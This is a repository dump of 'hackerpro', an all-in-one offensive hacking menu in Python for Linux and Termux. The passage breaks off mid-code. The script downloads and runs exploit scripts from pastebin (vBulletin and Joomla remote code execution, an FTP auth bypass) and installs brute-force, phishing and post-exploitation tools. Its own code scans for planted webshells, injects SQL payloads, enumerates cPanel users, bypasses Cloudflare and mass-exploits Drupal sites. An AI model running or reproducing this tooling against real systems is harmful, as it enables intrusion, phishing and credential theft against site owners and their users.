├── README.md ├── hackerpro.py ├── install.sh ├── logo205x250.gif └── update.sh /README.md: -------------------------------------------------------------------------------- 1 | # hackerpro 2 | All in One Hacking Tool for Linux & Android (Termux). Make your linux environment into a Hacking Machine. Hackers are welcome in our blog 3 | 4 | # Hacker pro menu 5 | 6 | • Information Gathering 7 | • Password Attacks 8 | • Wireless Testing 9 | • Exploitation Tools 10 | • Sniffing & Spoofing 11 | • Web Hacking 12 | • Private Web Hacking 13 | • Post Exploitation 14 | • Install The HACKERPRO 15 | 16 | # Installation in Android(Termux) 17 | 18 | Then Open Termux and Type : 19 | 20 | > apt update && apt upgrade 21 | 22 | > apt install git 23 | 24 | >> apt install python2 25 | 26 | After That Open Termux and Type : 27 | 28 | > git clone https://github.com/TermuxHackz/hackerpro 29 | 30 | Then Type : 31 | > cd hackerpro 32 | 33 | > python2 hackerpro.py 34 | 35 | 36 | # installation in Linux 37 | 38 | Open Terminal and Type : 39 | 40 | > git clone https://github.com/TermuxHackz/hackerpro 41 | 42 | After Downloading The File Type : 43 | 44 | > sudo cd hackerpro 45 | 46 | > sudo python2 hackerpro.py 47 | -------------------------------------------------------------------------------- /hackerpro.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | # 3 | # 4 | # _ _ _ _____ 5 | # | | | | | | | __ \ 6 | # | |__| | __ _ ___| | _____ _ __ | |__) | __ ___ 7 | # | __ |/ _` |/ __| |/ / _ \ '__| | ___/ '__/ _ \ 8 | # | | | | (_| | (__| < __/ | | | | | | (_) | 9 | # |_| |_|\__,_|\___|_|\_\___|_| |_| |_| \___/ 10 | # Hacking Tools by-Termux-Android-Hackers admin 11 | 12 | import sys 13 | import argparse 14 | import os 15 | import time 16 | import httplib 17 | import subprocess 18 | import re 19 | import urllib2 20 | import socket 21 | import urllib 22 | import sys 23 | import json 24 | import telnetlib 25 | import glob 26 | import random 27 | import Queue 28 | import threading 29 | #import requests 30 | import base64 31 | from getpass import getpass 32 | from commands import * 33 | from sys import argv 34 | from platform import system 35 | from urlparse import urlparse 36 | from xml.dom import minidom 37 | from optparse import OptionParser 38 | from time import sleep 39 | ########################## 40 | os.system('clear') 41 | 42 | 43 | def menu(): 44 | print (""" 45 | MIT License 46 | 47 | Copyright (c) 2018 HACKERPRO 48 | 49 | Permission is hereby granted, free of charge, to any person obtaining a copy 50 | of this software and associated documentation files (the "Software"), to deal 51 | in the Software without restriction, including without limitation the rights 52 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 53 | copies of the Software, and to permit persons to whom the Software is 54 | furnished to do so, subject to the following conditions: 55 | 56 | The above copyright notice and this permission notice shall be included in all 57 | copies or substantial portions of the Software. 58 | 59 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 60 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 61 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 62 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 63 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 64 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 65 | SOFTWARE.""") 66 | 67 | 68 | os.system('clear') 69 | os.system('clear') 70 | os.system('clear') 71 | os.system('clear') 72 | 73 | directories = ['/uploads/', '/upload/', '/files/', '/resume/', '/resumes/', '/documents/', '/docs/', '/pictures/', '/file/', '/Upload/', '/Uploads/', '/Resume/', '/Resume/', '/UsersFiles/', '/Usersiles/', '/usersFiles/', '/Users_Files/', '/UploadedFiles/', 74 | '/Uploaded_Files/', '/uploadedfiles/', '/uploadedFiles/', '/hpage/', '/admin/upload/', '/admin/uploads/', '/admin/resume/', '/admin/resumes/', '/admin/pictures/', '/pics/', '/photos/', '/Alumni_Photos/', '/alumni_photos/', '/AlumniPhotos/', '/users/'] 75 | shells = ['wso.php', 'shell.php', 'an.php', 'hacker.php', 'lol.php', 'up.php', 'cp.php', 'upload.php', 76 | 'sh.php', 'pk.php', 'mad.php', 'x00x.php', 'worm.php', '1337worm.php', 'config.php', 'x.php', 'haha.php'] 77 | upload = [] 78 | yes = set(['yes', 'y', 'ye', 'Y']) 79 | no = set(['no', 'n']) 80 | 81 | 82 | def logo(): 83 | print """ 84 | - Powered by 85 | _______ _ _ _ _____ _ 86 | |__ __| | | (_) | | | __ \ | | 87 | | | ___ ___| |__ _ __ _ ___ __ _| | | | | | __ _ __| | __ _ 88 | | |/ _ \/ __| '_ \| '_ \| |/ __/ _` | | | | | |/ _` |/ _` |/ _` | 89 | | | __/ (__| | | | | | | | (_| (_| | | | |__| | (_| | (_| | (_| | 90 | |_|\___|\___|_| |_|_| |_|_|\___\__,_|_| |_____/ \__,_|\__,_|\__,_| 91 | """ 92 | 93 | 94 | HACKERPROlogo = """\033[0m 95 | _ _ _ _____ 96 | | | | | | | | __ \ 97 | | |__| | __ _ ___| | _____ _ __ | |__) | __ ___ 98 | | __ |/ _` |/ __| |/ / _ \ '__| | ___/ '__/ _ \ 99 | | | | | (_| | (__| < __/ | | | | | | (_) | 100 | |_| |_|\__,_|\___|_|\_\___|_| |_| |_| \___/ 101 | 102 | ~Tools For Hacking by Termux-Android-Hackers admin 103 | 104 | \033[91m""" 105 | def menu(): 106 | print (HACKERPROlogo + """\033[1m 107 | [!] This Tool Must Run As ROOT [!] https://github.com/TermuxHackz/hackerpro 108 | \033[0m 109 | {1}--Information Gathering 110 | {2}--Password Attacks 111 | {3}--Wireless Testing 112 | {4}--Exploitation Tools 113 | {5}--Sniffing & Spoofing 114 | {6}--Web Hacking 115 | {7}--Private Web Hacking 116 | {8}--Post Exploitation 117 | {0}--Install The HACKERPRO 118 | {99}-Exit 119 | """) 120 | choice = raw_input("hackerpro~# ") 121 | os.system('clear') 122 | if choice == "1": 123 | info() 124 | elif choice == "2": 125 | passwd() 126 | elif choice == "3": 127 | wire() 128 | elif choice == "4": 129 | exp() 130 | elif choice == "5": 131 | snif() 132 | elif choice == "6": 133 | webhack() 134 | elif choice == "7": 135 | dzz() 136 | elif choice == "8": 137 | postexp() 138 | elif choice == "0": 139 | updatehackerpro() 140 | elif choice == "99": 141 | clearScr(), sys.exit() 142 | elif choice == "": 143 | menu() 144 | else: 145 | menu() 146 | 147 | 148 | def updatehackerpro(): 149 | print ("This Tool is Only Available for Linux and Similar Systems. ") 150 | choiceupdate = raw_input("Continue Y / N: ") 151 | if choiceupdate in yes: 152 | os.system("git clone https://github.com/TermuxHackz/hackerpro") 153 | os.system("cd hackerpro && sudo bash ./update.sh") 154 | os.system("hackerpro") 155 | 156 | 157 | def doork(): 158 | print("doork is a open-source passive vulnerability auditor tool that automates the process of searching on Google information about specific website based on dorks. ") 159 | doorkchice = raw_input("Continue Y / N: ") 160 | if doorkchice in yes: 161 | os.system("pip install beautifulsoup4 && pip install requests") 162 | os.system("git clone https://github.com/AeonDave/doork") 163 | clearScr() 164 | doorkt = raw_input("Target : ") 165 | os.system("cd doork && python doork.py -t %s -o log.log" % doorkt) 166 | 167 | 168 | def postexp(): 169 | clearScr() 170 | print(HACKERPROlogo) 171 | print(" {1}--Shell Checker") 172 | print(" {2}--POET") 173 | print(" {3}--Phishing Framework \n") 174 | print(" {99}-Return to main menu \n\n ") 175 | choice11 = raw_input("hackerpro~# ") 176 | os.system('clear') 177 | if choice11 == "1": 178 | sitechecker() 179 | if choice11 == "2": 180 | poet() 181 | if choice11 == "3": 182 | weeman() 183 | elif choice11 == "99": 184 | menu() 185 | 186 | 187 | def scanusers(): 188 | site = raw_input('Enter a website : ') 189 | try: 190 | users = site 191 | if 'http://www.' in users: 192 | users = users.replace('http://www.', '') 193 | if 'http://' in users: 194 | users = users.replace('http://', '') 195 | if '.' in users: 196 | users = users.replace('.', '') 197 | if '-' in users: 198 | users = users.replace('-', '') 199 | if '/' in users: 200 | users = users.replace('/', '') 201 | while len(users) > 2: 202 | print users 203 | resp = urllib2.urlopen( 204 | site + '/cgi-sys/guestbook.cgi?user=%s' % users).read() 205 | 206 | if 'invalid username' not in resp.lower(): 207 | print "\tFound -> %s" % users 208 | pass 209 | 210 | users = users[:-1] 211 | except: 212 | pass 213 | 214 | 215 | def brutex(): 216 | clearScr() 217 | print("Automatically brute force all services running on a target : Open ports / DNS domains / Usernames / Passwords ") 218 | os.system("git clone https://github.com/1N3/BruteX.git") 219 | clearScr() 220 | brutexchoice = raw_input("Select a Target : ") 221 | os.system("cd BruteX && chmod 777 brutex && ./brutex %s" % brutexchoice) 222 | 223 | 224 | def arachni(): 225 | print("Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications") 226 | cara = raw_input("Install And Run ? Y / N : ") 227 | clearScr() 228 | print("exemple : http://www.target.com/") 229 | tara = raw_input("Select a target to scan : ") 230 | if cara in yes: 231 | os.system("git clone git://github.com/Arachni/arachni.git") 232 | os.system( 233 | "cd arachni && sudo gem install bundler && bundle install --without prof && rake install") 234 | os.system("archani") 235 | clearScr() 236 | os.system("cd arachni/bin && chmod 777 arachni && ./arachni %s" % tara) 237 | 238 | 239 | def XSStrike(): 240 | clearScr() 241 | print("XSStrike is a python script designed to detect and exploit XSS vulnerabilites. Follow The Owner On Github @UltimateHackers") 242 | os.system("sudo rm -rf XSStrike") 243 | os.system("git clone https://github.com/UltimateHackers/XSStrike.git && cd XSStrike && pip install -r requirements.txt && clear && python xsstrike") 244 | 245 | 246 | def crips(): 247 | clearScr() 248 | os.system("git clone https://github.com/Manisso/Crips.git") 249 | os.system("cd Crips && sudo bash ./update.sh") 250 | os.system("crips") 251 | os.system("clear") 252 | 253 | 254 | def weeman(): 255 | print("HTTP server for phishing in python. (and framework) Usually you will want to run Weeman with DNS spoof attack. (see dsniff, ettercap).") 256 | choicewee = raw_input("Install Weeman ? Y / N : ") 257 | if choicewee in yes: 258 | os.system( 259 | "git clone https://github.com/samyoyo/weeman.git && cd weeman && python weeman.py") 260 | if choicewee in no: 261 | menu() 262 | else: 263 | menu() 264 | 265 | 266 | def gabriel(): 267 | print("Abusing authentication bypass of Open&Compact (Gabriel's)") 268 | os.system("wget http://pastebin.com/raw/Szg20yUh --output-document=gabriel.py") 269 | clearScr() 270 | os.system("python gabriel.py") 271 | ftpbypass = raw_input("Enter Target IP and Use Command :") 272 | os.system("python gabriel.py %s" % ftpbypass) 273 | 274 | 275 | def sitechecker(): 276 | os.system("wget http://pastebin.com/raw/Y0cqkjrj --output-document=ch01.py") 277 | clearScr() 278 | os.system("python ch01.py") 279 | 280 | 281 | def h2ip(): 282 | host = raw_input("Select A Host : ") 283 | ips = socket.gethostbyname(host) 284 | print(ips) 285 | 286 | 287 | def ports(): 288 | clearScr() 289 | target = raw_input('Select a Target IP : ') 290 | os.system("nmap -O -Pn %s" % target) 291 | sys.exit() 292 | 293 | 294 | def ifinurl(): 295 | print""" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.""" 296 | print('Do You Want To Install InurlBR ? ') 297 | cinurl = raw_input("Y/N: ") 298 | if cinurl in yes: 299 | inurl() 300 | if cinurl in no: 301 | menu() 302 | elif cinurl == "": 303 | menu() 304 | else: 305 | menu() 306 | 307 | 308 | def bsqlbf(): 309 | clearScr() 310 | print("This tool will only work on blind sql injection") 311 | cbsq = raw_input("select target : ") 312 | os.system("wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/bsqlbf-v2/bsqlbf-v2-7.pl -o bsqlbf.pl") 313 | os.system("perl bsqlbf.pl -url %s" % cbsq) 314 | os.system("rm bsqlbf.pl") 315 | 316 | 317 | def atscan(): 318 | print ("Do You To Install ATSCAN ?") 319 | choiceshell = raw_input("Y/N: ") 320 | if choiceshell in yes: 321 | os.system("sudo rm -rf ATSCAN") 322 | os.system( 323 | "git clone https://github.com/AlisamTechnology/ATSCAN.git && cd ATSCAN && perl atscan.pl") 324 | elif choiceshell in no: 325 | os.system('clear') 326 | menu() 327 | 328 | 329 | def commix(): 330 | print ("Automated All-in-One OS Command Injection and Exploitation Tool.") 331 | print ("usage : python commix.py --help") 332 | choicecmx = raw_input("Continue: y/n :") 333 | if choicecmx in yes: 334 | os.system("git clone https://github.com/stasinopoulos/commix.git commix") 335 | os.system("cd commix") 336 | os.system("python commix.py") 337 | os.system("") 338 | elif choicecmx in no: 339 | os.system('clear') 340 | info() 341 | 342 | 343 | def pixiewps(): 344 | print"""Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some Access Points, the so-called "pixie dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only 345 | """ 346 | choicewps = raw_input("Continue ? Y/N : ") 347 | if choicewps in yes: 348 | os.system("git clone https://github.com/wiire/pixiewps.git") 349 | os.system("cd pixiewps & make ") 350 | os.system("sudo make install") 351 | if choicewps in no: 352 | menu() 353 | elif choicewps == "": 354 | menu() 355 | else: 356 | menu() 357 | 358 | 359 | def webhack(): 360 | print(HACKERPROlogo) 361 | print(" {1}--Drupal Hacking ") 362 | print(" {2}--Inurlbr") 363 | print(" {3}--Wordpress & Joomla Scanner") 364 | print(" {4}--Gravity Form Scanner") 365 | print(" {5}--File Upload Checker") 366 | print(" {6}--Wordpress Exploit Scanner") 367 | print(" {7}--Wordpress Plugins Scanner") 368 | print(" {8}--Shell and Directory Finder") 369 | print(" {9}--Joomla! 1.5 - 3.4.5 remote code execution") 370 | print(" {10}-Vbulletin 5.X remote code execution") 371 | print( 372 | " {11}-BruteX - Automatically brute force all services running on a target") 373 | print(" {12}-Arachni - Web Application Security Scanner Framework \n ") 374 | print(" {99}-Back To Main Menu \n") 375 | choiceweb = raw_input("hackerpro~# ") 376 | if choiceweb == "1": 377 | clearScr() 378 | maine() 379 | if choiceweb == "2": 380 | clearScr() 381 | ifinurl() 382 | if choiceweb == '3': 383 | clearScr() 384 | wppjmla() 385 | if choiceweb == "4": 386 | clearScr() 387 | gravity() 388 | if choiceweb == "5": 389 | clearScr() 390 | sqlscan() 391 | if choiceweb == "6": 392 | clearScr() 393 | wpminiscanner() 394 | if choiceweb == "7": 395 | clearScr() 396 | wppluginscan() 397 | if choiceweb == "8": 398 | clearScr() 399 | shelltarget() 400 | if choiceweb == "9": 401 | clearScr() 402 | joomlarce() 403 | if choiceweb == "10": 404 | clearScr() 405 | vbulletinrce() 406 | if choiceweb == "11": 407 | clearScr() 408 | brutex() 409 | if choiceweb == "12": 410 | clearScr() 411 | arachni() 412 | elif choiceweb == "99": 413 | menu() 414 | elif choiceweb == "": 415 | menu() 416 | else: 417 | menu() 418 | 419 | 420 | def vbulletinrce(): 421 | os.system("wget http://pastebin.com/raw/eRSkgnZk --output-document=tmp.pl") 422 | os.system("perl tmp.pl") 423 | 424 | 425 | def joomlarce(): 426 | os.system("wget http://pastebin.com/raw/EX7Gcbxk --output-document=temp.py") 427 | clearScr() 428 | print("if the response is 200 , you will find your shell in Joomla_3.5_Shell.txt") 429 | jmtarget = raw_input("Select a targets list :") 430 | os.system("python temp.py %s" % jmtarget) 431 | 432 | 433 | def inurl(): 434 | dork = raw_input("select a Dork:") 435 | output = raw_input("select a file to save :") 436 | os.system( 437 | "./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output)) 438 | if cinurl in no: 439 | insinurl() 440 | elif cinurl == "": 441 | menu() 442 | else: 443 | menu() 444 | 445 | 446 | def insinurl(): 447 | os.system("git clone https://github.com/googleinurl/SCANNER-INURLBR.git") 448 | os.system("chmod +x SCANNER-INURLBR/inurlbr.php") 449 | os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl") 450 | os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php") 451 | clearScr() 452 | inurl() 453 | 454 | 455 | def nmap(): 456 | 457 | choice7 = raw_input("continue ? Y / N : ") 458 | if choice7 in yes: 459 | os.system("git clone https://github.com/nmap/nmap.git") 460 | os.system("cd nmap && ./configure && make && make install") 461 | elif choice7 in no: 462 | info() 463 | elif choice7 == "": 464 | menu() 465 | else: 466 | menu() 467 | 468 | 469 | def jboss(): 470 | os.system('clear') 471 | print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once") 472 | print ("deployed, the script uses its upload and command execution capability to") 473 | print ("provide an interactive session.") 474 | print ("") 475 | print ("usage : ./e.sh target_ip tcp_port ") 476 | print("Continue: y/n") 477 | choice9 = raw_input("yes / no :") 478 | if choice9 in yes: 479 | os.system( 480 | "git clone https://github.com/SpiderLabs/jboss-autopwn.git"), sys.exit() 481 | elif choice9 in no: 482 | os.system('clear') 483 | exp() 484 | elif choice9 == "": 485 | menu() 486 | else: 487 | menu() 488 | 489 | 490 | def wppluginscan(): 491 | Notfound = [404, 401, 400, 403, 406, 301] 492 | sitesfile = raw_input("sites file : ") 493 | filepath = raw_input("Plugins File : ") 494 | 495 | def scan(site, dir): 496 | global resp 497 | try: 498 | conn = httplib.HTTPConnection(site) 499 | conn.request('HEAD', "/wp-content/plugins/" + dir) 500 | resp = conn.getresponse().status 501 | except(), message: 502 | print "Cant Connect :", message 503 | pass 504 | 505 | def timer(): 506 | now = time.localtime(time.time()) 507 | return time.asctime(now) 508 | 509 | def main(): 510 | sites = open(sitesfile).readlines() 511 | plugins = open(filepath).readlines() 512 | for site in sites: 513 | site = site.rstrip() 514 | for plugin in plugins: 515 | plugin = plugin.rstrip() 516 | scan(site, plugin) 517 | if resp not in Notfound: 518 | print "+----------------------------------------+" 519 | print "| current site :" + site 520 | print "| Found Plugin : " + plugin 521 | print "| Result:", resp 522 | 523 | 524 | def sqlmap(): 525 | print ("usage : python sqlmap.py -h") 526 | choice8 = raw_input("Continue: y/n :") 527 | if choice8 in yes: 528 | os.system( 529 | "git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ") 530 | elif choice8 in no: 531 | os.system('clear') 532 | info() 533 | elif choice8 == "": 534 | menu() 535 | else: 536 | menu() 537 | 538 | 539 | def grabuploadedlink(url): 540 | try: 541 | for dir in directories: 542 | currentcode = urllib.urlopen(url + dir).getcode() 543 | if currentcode == 200 or currentcode == 403: 544 | print "-------------------------" 545 | print " [ + ] Found Directory : " + str(url + dir) + " [ + ]" 546 | print "-------------------------" 547 | upload.append(url + dir) 548 | except: 549 | pass 550 | 551 | 552 | def grabshell(url): 553 | try: 554 | for upl in upload: 555 | for shell in shells: 556 | currentcode = urllib.urlopen(upl + shell).getcode() 557 | if currentcode == 200: 558 | print "-------------------------" 559 | print " [ ! ] Found Shell : " + str(upl + shell) + " [ ! ]" 560 | print "-------------------------" 561 | except: 562 | pass 563 | 564 | 565 | def shelltarget(): 566 | print("exemple : http://target.com") 567 | line = raw_input("target : ") 568 | line = line.rstrip() 569 | grabuploadedlink(line) 570 | grabshell(line) 571 | 572 | 573 | def poet(): 574 | print("POET is a simple POst-Exploitation Tool.") 575 | print("") 576 | choicepoet = raw_input("y / n :") 577 | if choicepoet in yes: 578 | os.system("git clone https://github.com/mossberg/poet.git") 579 | os.system("python poet/server.py") 580 | if choicepoet in no: 581 | clearScr() 582 | postexp() 583 | elif choicepoet == "": 584 | menu() 585 | else: 586 | menu() 587 | 588 | 589 | def setoolkit(): 590 | print ("The Social-Engineer Toolkit is an open-source penetration testing framework") 591 | print(") designed for social engineering. SET has a number of custom attack vectors that ") 592 | print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC ") 593 | print("an information security consulting firm located in Cleveland, Ohio.") 594 | print("") 595 | 596 | choiceset = raw_input("y / n :") 597 | if choiceset in yes: 598 | os.system( 599 | "git clone https://github.com/trustedsec/social-engineer-toolkit.git") 600 | os.system("python social-engineer-toolkit/setup.py") 601 | if choiceset in no: 602 | clearScr() 603 | info() 604 | elif choiceset == "": 605 | menu() 606 | else: 607 | menu() 608 | 609 | 610 | def cupp(): 611 | print("cupp is a password list generator ") 612 | print("Usage: python cupp.py -h") 613 | choicecupp = raw_input("Continue: y/n : ") 614 | 615 | if choicecupp in yes: 616 | os.system("git clone https://github.com/Mebus/cupp.git") 617 | print("file downloaded successfully") 618 | elif choicecupp in no: 619 | clearScr() 620 | passwd() 621 | elif choicecupp == "": 622 | menu() 623 | else: 624 | menu() 625 | 626 | 627 | def ncrack(): 628 | print("A Ruby interface to Ncrack, Network authentication cracking tool.") 629 | print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3") 630 | print("Continue: y/n") 631 | choicencrack = raw_input("y / n :") 632 | if choicencrack in yes: 633 | os.system("git clone https://github.com/sophsec/ruby-ncrack.git") 634 | os.system("cd ruby-ncrack") 635 | os.system("install ruby-ncrack") 636 | elif choicencrack in no: 637 | clearScr() 638 | passwd() 639 | elif choicencrack == "": 640 | menu() 641 | else: 642 | menu() 643 | 644 | 645 | def reaver(): 646 | print """ 647 | Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup 648 | WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a 649 | wide variety of access points and WPS implementations 650 | 1 to accept / 0 to decline 651 | """ 652 | creaver = raw_input("y / n :") 653 | if creaver in yes: 654 | os.system( 655 | "apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps") 656 | os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git") 657 | os.system("cd reaver-wps-fork-t6x/src/ & ./configure") 658 | os.system("cd reaver-wps-fork-t6x/src/ & make") 659 | elif creaver in no: 660 | clearScr() 661 | wire() 662 | elif creaver == "": 663 | menu() 664 | else: 665 | menu() 666 | 667 | 668 | def ssls(): 669 | print"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 670 | attacks. 671 | It requires Python 2.5 or newer, along with the 'twisted' python module.""" 672 | cssl = raw_input("y / n :") 673 | if cssl in yes: 674 | os.system("git clone https://github.com/moxie0/sslstrip.git") 675 | os.system("sudo apt-get install python-twisted-web") 676 | os.system("python sslstrip/setup.py") 677 | if cssl in no: 678 | snif() 679 | elif cssl == "": 680 | menu() 681 | else: 682 | menu() 683 | 684 | 685 | def unique(seq): 686 | seen = set() 687 | return [seen.add(x) or x for x in seq if x not in seen] 688 | 689 | 690 | def bing_all_grabber(s): 691 | 692 | lista = [] 693 | page = 1 694 | while page <= 101: 695 | try: 696 | bing = "http://www.bing.com/search?q=ip%3A" + \ 697 | s + "+&count=50&first=" + str(page) 698 | openbing = urllib2.urlopen(bing) 699 | readbing = openbing.read() 700 | findwebs = re.findall('

') 1065 | self.portScanner(1, ran) 1066 | elif choice == '10': 1067 | self.portScanner(2, None) 1068 | elif choice == '11': 1069 | self.getServerBanner() 1070 | elif choice == '12': 1071 | self.cloudflareBypasser() 1072 | elif choice == '99': 1073 | menu() 1074 | con = raw_input(' Continue [Y/n] -> ') 1075 | if con[0].upper() == 'N': 1076 | exit() 1077 | else: 1078 | clearScr() 1079 | print menuu 1080 | 1081 | def getSites(self, a): 1082 | """ 1083 | get all websites on same server 1084 | from bing search 1085 | """ 1086 | lista = [] 1087 | page = 1 1088 | while page <= 101: 1089 | try: 1090 | bing = "http://www.bing.com/search?q=ip%3A" + \ 1091 | self.serverip + "+&count=50&first=" + str(page) 1092 | openbing = urllib2.urlopen(bing) 1093 | readbing = openbing.read() 1094 | findwebs = re.findall('

", site + admin 1186 | except IOError: 1187 | pass 1188 | ############################ 1189 | # find ZIP files 1190 | 1191 | def findZip(self): 1192 | """ 1193 | find zip files from grabbed websites 1194 | it may contain useful informations 1195 | """ 1196 | zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 1197 | 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar'] 1198 | clearScr() 1199 | print "[~] Finding zip file" 1200 | for site in self.sites: 1201 | for zip1 in zipList: 1202 | try: 1203 | if urllib.urlopen(site + zip1).getcode() == 200: 1204 | print " [*] Found zip file -> ", site + zip1 1205 | except IOError: 1206 | pass 1207 | 1208 | def findUp(self): 1209 | """ 1210 | find upload forms from grabbed 1211 | websites the attacker may succeed to 1212 | upload malicious files like webshells 1213 | """ 1214 | upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php', 'blog/up.php', 'upload.php', 1215 | 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php'] 1216 | clearScr() 1217 | print "[~] Finding Upload" 1218 | for site in self.sites: 1219 | for up in upList: 1220 | try: 1221 | if (urllib.urlopen(site + up).getcode() == 200): 1222 | html = urllib.urlopen(site + up).readlines() 1223 | for line in html: 1224 | if re.findall('type=file', line): 1225 | print " [*] Found upload -> ", site + up 1226 | except IOError: 1227 | pass 1228 | 1229 | def getUsers(self): 1230 | """ 1231 | get server users using a method found by 1232 | iranian hackers , the attacker may 1233 | do a bruteforce attack on CPanel, ssh, ftp or 1234 | even mysql if it supports remote login 1235 | (you can use medusa or hydra) 1236 | """ 1237 | clearScr() 1238 | print "[~] Grabbing Users" 1239 | userslist = [] 1240 | for site1 in self.sites: 1241 | try: 1242 | site = site1 1243 | site = site.replace('http://www.', '') 1244 | site = site.replace('http://', '') 1245 | site = site.replace('.', '') 1246 | if '-' in site: 1247 | site = site.replace('-', '') 1248 | site = site.replace('/', '') 1249 | while len(site) > 2: 1250 | resp = urllib2.urlopen( 1251 | site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read() 1252 | if 'invalid username' not in resp.lower(): 1253 | print '\t [*] Found -> ', site 1254 | userslist.append(site) 1255 | break 1256 | else: 1257 | print site 1258 | 1259 | site = site[:-1] 1260 | except: 1261 | pass 1262 | 1263 | clearScr() 1264 | for user in userslist: 1265 | print user 1266 | 1267 | def cloudflareBypasser(self): 1268 | """ 1269 | trys to bypass cloudflare i already wrote 1270 | in my blog how it works, i learned this 1271 | method from a guy in madleets 1272 | """ 1273 | clearScr() 1274 | print "[~] Bypassing cloudflare" 1275 | subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel'] 1276 | for site in self.sites: 1277 | site.replace('http://', '') 1278 | site.replace('/', '') 1279 | try: 1280 | ip = socket.gethostbyname(site) 1281 | except socket.error: 1282 | pass 1283 | for sub in subdoms: 1284 | doo = sub + '.' + site 1285 | print ' [~] Trying -> ', doo 1286 | try: 1287 | ddd = socket.gethostbyname(doo) 1288 | if ddd != ip: 1289 | print ' [*] Cloudflare bypassed -> ', ddd 1290 | break 1291 | except socket.error: 1292 | pass 1293 | 1294 | def getServerBanner(self): 1295 | """ 1296 | simply gets the server banner 1297 | the attacker may benefit from it 1298 | like getting the server side software 1299 | """ 1300 | clearScr() 1301 | try: 1302 | s = 'http://' + self.serverip 1303 | httpresponse = urllib.urlopen(s) 1304 | print ' [*] Server header -> ', httpresponse.headers.getheader('server') 1305 | except: 1306 | pass 1307 | 1308 | def grabSqli(self): 1309 | """ 1310 | just grabs all websites in server with php?id= dork 1311 | for scanning for error based sql injection 1312 | """ 1313 | page = 1 1314 | lista = [] 1315 | while page <= 101: 1316 | try: 1317 | bing = "http://www.bing.com/search?q=ip%3A" + \ 1318 | self.serverip + "+php?id=&count=50&first=" + str(page) 1319 | openbing = urllib2.urlopen(bing) 1320 | readbing = openbing.read() 1321 | findwebs = re.findall('

<", 1342 | "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"] 1343 | check = re.compile( 1344 | "Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I) 1345 | for url in s: 1346 | try: 1347 | for param in url.split('?')[1].split('&'): 1348 | for payload in payloads: 1349 | power = url.replace(param, param + payload.strip()) 1350 | 1351 | html = urllib2.urlopen(power).readlines() 1352 | for line in html: 1353 | checker = re.findall(check, line) 1354 | if len(checker) != 0: 1355 | print ' [*] SQLi found -> ', power 1356 | except: 1357 | pass 1358 | 1359 | 1360 | def portScanner(self, mode, ran): 1361 | """ 1362 | simple port scanner works with range of ports 1363 | or with common ports (al-swisre idea) 1364 | """ 1365 | clearScr() 1366 | print "[~] Scanning Ports" 1367 | 1368 | def do_it(ip, port): 1369 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1370 | 1371 | sock = sock.connect_ex((ip, port)) 1372 | if sock == 0: 1373 | print " [*] Port %i is open" % port 1374 | 1375 | if mode == 1: 1376 | a = ran.split('-') 1377 | start = int(a[0]) 1378 | end = int(a[1]) 1379 | for i in range(start, end): 1380 | do_it(self.serverip, i) 1381 | elif mode == 2: 1382 | for port in [80, 21, 22, 2082, 25, 53, 110, 443, 143]: 1383 | 1384 | do_it(self.serverip, port) 1385 | 1386 | 1387 | ############################ 1388 | minu = ''' 1389 | \t 1: Drupal Bing Exploiter 1390 | \t 2: Get Drupal Websites 1391 | \t 3: Drupal Mass Exploiter 1392 | \t 99: Back To Main Menu 1393 | ''' 1394 | 1395 | 1396 | def drupal(): 1397 | '''Drupal Exploit Binger All Websites Of server ''' 1398 | ip = raw_input('1- IP : ') 1399 | page = 1 1400 | while page <= 50: 1401 | 1402 | url = "http://www.bing.com/search?q=ip%3A" + ip + "&go=Valider&qs=n&form=QBRE&pq=ip%3A" + \ 1403 | ip + 